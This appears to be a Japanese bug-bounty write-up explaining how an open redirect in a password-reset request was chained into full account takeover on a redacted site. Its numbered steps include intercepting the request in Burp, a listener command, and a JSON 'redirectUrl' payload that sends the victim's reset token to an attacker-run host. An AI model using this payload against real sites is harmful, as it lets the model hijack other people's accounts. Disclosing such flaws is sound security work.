Hello there, ('ω')ノ
P4 を P2 に連鎖させる方法 [完全なアカウント乗っ取りへのオープン リダイレクト]を。
脆弱性：
オープンリダイレクト
アカウント乗っ取り
記事：
今回は、オープン リダイレクトを完全な ATO にチェーンする方法についての
新しい記事を。
「redirectUrl」を持つエンドポイントに気づき、いくつかの変更を加え、
HTTPリクエストに新しいパラメータを追加してから、
RedurectUrlをgoogle.comに変更して。
しかし、そこでメールをチェックしたところ、google.com は挿入されず。
しかし、そのリンクを開いた後、google.comに正常にリダイレクトされて。
次に、RedirectUrl= がリセットトークンに反映されていることに気づき。
そこで報告することに。
これはホスト ヘッダー インジェクション、0auth の欠陥に似ていますが、
シナリオが異なり。
誰かが同じような種類の問題を見つけるのに役立つと思うので、
この記事を書いて共有して。
オープンリダイレクトとして報告した場合、p4、つまり Bugcrowd では
優先度の低いリスクのバグとして受け入れらて。
オープンリダイレクトについて：
無効なリダイレクトの脆弱性は、ユーザが信頼できる Web サイトにある
リンクにアクセスしたときに、攻撃者がユーザを信頼できないサイトに
リダイレクトできる場合に発生して。
この脆弱性は、オープン リダイレクトとも呼ばれ。
この問題を再現する手順は次のとおりで。
１．まず、https://redacted.vulnsite.com/login からログインし、
[パスワードを忘れた場合] をクリックして。
脆弱な Web サイトの UI
２．次に、Burp Suiteを開いてリクエストを傍受し、「パスワードを忘れた場合」を
クリックして、被害者の電子メールを入力し。
そのリクエストをリピータに送信し、リクエストを次のように変更して。
HTTP リクエストの前
そして、ターミナルを開いてこのコマンド「python3 -m HTTP.server 80」を
実行してリクエストを受信し。
次に、リクエストを下記に変更して。
{“redirectUrl”:”http://127.0.01/?reset-result={0}&reset-callback-uri={1}"}
HTTP リクエストの redirectUrl を 127.0.01 に変更
３．被害者としてリセットリンクを開いたとき
http://127.0.01/Secret_reset_token にリダイレクトされて。
４．リセットリンクで得られた応答を確認している間。
これで、URL(https://redacted.vulnsite.com/Secret_reset_token) を
リセット リンクに置き換えるだけでパスワードをリセットでき。
これで、完全なアカウント乗っ取りにつながる新しいパスワードを
設定できるようになって。
Best regards, (^^ゞ
